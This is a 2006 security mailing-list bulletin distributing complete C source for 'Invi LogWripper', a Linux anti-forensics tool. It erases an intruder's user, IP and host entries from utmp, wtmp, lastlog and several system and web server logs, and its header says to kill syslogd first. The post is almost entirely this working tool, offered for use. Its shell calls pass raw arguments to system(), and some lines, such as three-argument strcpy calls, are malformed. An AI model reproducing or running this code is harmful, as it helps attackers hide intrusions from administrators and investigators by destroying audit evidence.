[TOOL] Invi LogWripper
- From: SecuriTeam <support@xxxxxxxxxxxxxx>
- Date: 7 Feb 2006 12:26:57 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Invi LogWripper
------------------------------------------------------------------------
SUMMARY
DETAILS
Invi LogWripper is a Linux based log wipe program that attempts to delete
some known log files.
In order to make LogWripper effective, it is highly recommended to kill
syslog, ksyslog and any other log generation application.
Code:
/**************************
* Invi LogWripper
* Created By
* InvisibleKnow
***************************
*This program look the files:
*
*-UTMP
*
*-WTMP
*
*-LASTLOG
*
*-xferlog
*
*-user.log
*
*-/var/log/httpd/access_log
*
*-/var/log/secure
*
*-/var/log/messages
*
*
And it delete You from them... ;)
*
*
But you have to remembe:
*
1) Greep And Kill syslogd
*
*
*
2) This program delete some logs, so, looking for others logs
*
*
It worked for me and it will work for you, if you're not a script-kiddie.
*
*
* My Best Wishes,
* Invisible
*
*******************************************************************************/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <utmp.h>
#include <fcntl.h>
#include <sys/types.h>
#include <lastlog.h>
#include <pwd.h>
int main(int argc, char *argv[]) {
struct utmp u;
int f, fo, fz, size, sizel;
int acc;
char us[32], h[256], ipp[256];
char usn[32], hn[256], linen[32], ippn[256];
char buff[500];
if (argc!=4) {
printf("%s <user> <IP> <Host>\n",argv[0]);
exit(-1);
}
size=sizeof(u);
strcpy(us,argv[1]);
strcpy(h,argv[3]);
strcpy(ipp,argv[2]);
strcpy(usn,"***",0);
strcpy(hn,"Fucked.com",0);
strcpy(linen,"tty2",0);
strcpy(ippn,"SuckIt.it",0);
/*UTMP DELETING..*/
f=open("/var/run/utmp",
O_RDWR);
if (f<0) {
perror("open");
exit(-1);
}
while(read(f,&u,size)==size) {
if (!strcmp(u.ut_user, us)){
lseek(f, -1*size,SEEK_CUR);
strcpy(u.ut_line,linen);
strcpy(u.ut_user,usn);
strcpy(u.ut_host,hn);
write(f,&u,size);
}
}
printf("Edited
UTMP file!\n");
close(f);
/*WTMP DELETING*/
fz=open("/var/log/wtmp",O_RDONLY);
if (f<0) {
perror("open");
exit(-1);
}
fo=open("wtmp",O_WRONLY|O_CREAT);
if (fo<0) {
perror("open");
exit(-1);
}
while (read (fz, &u, size) == size) {
if ( (!strcmp(u.ut_user, us)) || (!strncmp(u.ut_host, ipp,
strlen(ipp))) || (!strncmp(u.ut_host, h, strlen(h))) ) {
/*Found :D well let's go on, and then i write on fo other people
logged not I :D*/
}
else write (fo, &u, size) ;
}
close(fz);
close(fo);
system("mv wtmp /var/log/wtmp");
printf("Edited WTMP file!\n");
/*LASTLOG DELETING..*/
struct lastlog l;
struct passwd *p;
sizel=sizeof(l);
f=open("/var/log/lastlog",
O_RDWR);
if (f<0) {
perror("open");
exit(-1);
}
if ((p=getpwnam(us))!=NULL) {
l.ll_time=0;
strcpy(l.ll_line,linen);
strcpy(l.ll_host,hn);
lseek(f, sizel*p->pw_uid,SEEK_SET);
write(f,&l,sizel);
printf("Edited LASTLOG file!\n");
} else printf("LastLog not
Found!\n");
close(f);
/*USER.LOG HosT*/
strcpy(buff,"grep -v ");
strcat(buff,h);
strcat(buff," /var/log/user.log > temp");
system(buff);
//sleep(1);
//printf("Grepped user.log!\n");
system("rm -f /var/log/user.log");
//sleep(1);
system("mv temp /var/log/user.log");
printf("user.log
HosT edited\n");
/*XFERLOG HosT*/
strcpy(buff,"grep -v ");
strcat(buff,h);
strcat(buff," /var/log/xferlog > temp");
system(buff);
//sleep(1);
//printf("Grepped xferlog!\n");
system("rm -f /var/log/xferlog");
//sleep(1);
system("mv temp /var/log/xferlog");
printf("xferlog HosT edited\n");
/*USER.LOG IP*/
strcpy(buff,"grep -v ");
strcat(buff,ipp);
strcat(buff," /var/log/user.log > temp");
system(buff);
//sleep(1);
//printf("Grepped user.log!\n");
system("rm -f /var/log/user.log");
//sleep(1);
system("mv temp /var/log/user.log");
printf("user.log IP edited\n");
/*XFERLOG IP*/
strcpy(buff,"grep -v ");
strcat(buff,ipp);
strcat(buff," /var/log/xferlog > temp");
system(buff);
//sleep(1);
//printf("Grepped xferlog!\n");
system("rm -f /var/log/xferlog");
//sleep(1);
system("mv temp /var/log/xferlog");
printf("xferlog IP edited\n");
/*HTTPD HosT*/
strcpy(buff,"grep -v ");
strcat(buff,h);
strcat(buff," /var/log/httpd/access_log > temp");
system(buff);
//sleep(1);
//printf("Grepped HTTPD!\n");
system("rm -f /var/log/httpd/access_log");
//sleep(1);
system("mv temp /var/log/httpd/access_log");
printf("HTTPD HosT edited\n");
/*HTTPD IP*/
strcpy(buff,"grep -v ");
strcat(buff,ipp);
strcat(buff," /var/log/httpd/access_log > temp");
system(buff);
//sleep(1);
//printf("Grepped HTTPD!\n");
system("rm -f /var/log/httpd/access_log");
//sleep(1);
system("mv temp /var/log/httpd/access_log");
printf("HTTPD IP edited\n");
/*HTTPD HosT*/
strcpy(buff,"grep -v ");
strcat(buff,h);
strcat(buff," /var/log/secure > temp");
system(buff);
//sleep(1);
//printf("Grepped HTTPD!\n");
system("rm -f /var/log/secure");
//sleep(1);
system("mv temp /var/log/secure");
printf("SECURE HosT edited\n");
/*HTTPD IP*/
strcpy(buff,"grep -v ");
strcat(buff,ipp);
strcat(buff," /var/log/secure > temp");
system(buff);
//sleep(1);
//printf("Grepped HTTPD!\n");
system("rm -f /var/log/secure");
//sleep(1);
system("mv temp /var/log/secure");
printf("SECURE IP edited\n");
/*MESSAGES HosT*/
strcpy(buff,"grep -v ");
strcat(buff,h);
strcat(buff," /var/log/messages > temp");
system(buff);
//sleep(1);
//printf("Grepped HTTPD!\n");
system("rm -f /var/log/messages");
//sleep(1);
system("mv temp /var/log/messages");
printf("MESSAGES HosT edited\n");
/*MESSAGES IP*/
strcpy(buff,"grep -v ");
strcat(buff,ipp);
strcat(buff," /var/log/messages > temp");
system(buff);
//sleep(1);
//printf("Grepped HTTPD!\n");
system("rm -f /var/log/messages");
//sleep(1);
system("mv temp /var/log/messages");
printf("MESSAGES IP edited\n");
}
/* EoF */
ADDITIONAL INFORMATION
The information has been provided by <mailto:devyer@xxxxxxxxx> devy.
For the latest version of this tool visit the project's homepage at:
<http://colander.altervista.org/> http://colander.altervista.org/
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Prev by Date: [TOOL] BSS (Bluetooth Stack Smasher) Fuzzer
- Next by Date: [REVS] Domain Contamination
- Previous by thread: [TOOL] BSS (Bluetooth Stack Smasher) Fuzzer
- Next by thread: [REVS] Domain Contamination
- Index(es):
Relevant Pages
- [TOOL] Snortcheck Tool: Check If Snort Its Running
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... struct addr { ...
int mac_aton; ... struct addr src, dst; ... (Securiteam) - [EXPL] EPIC4 CTCP Nicknames Buffer Overflow
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... void send_mes(int fd,char *host);
... void wait_connection; ... unsigned int check_version = 0; ...
(Securiteam) - [EXPL] Cisco IOS Next Hop Resolution Protocol DoS (NHRP, Exploit)
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... int open_socket; ...
struct nhrp_h { ... (Securiteam) - [NT] Quicktime Player HTTP Error Message Buffer Overflow
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... int hex2bin; ...
struct sockaddr_in peer; ... buff = NULL; ... (Securiteam) - [NEWS] Prestige 650R ADSL Router DoS
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... Prestige 600 fails to handle malformed
fragmented IP packets. ... int open_packet{ ... int send_packet(int s, struct
sockaddr_in saddr, struct sockaddr_in daddr, ... (Securiteam)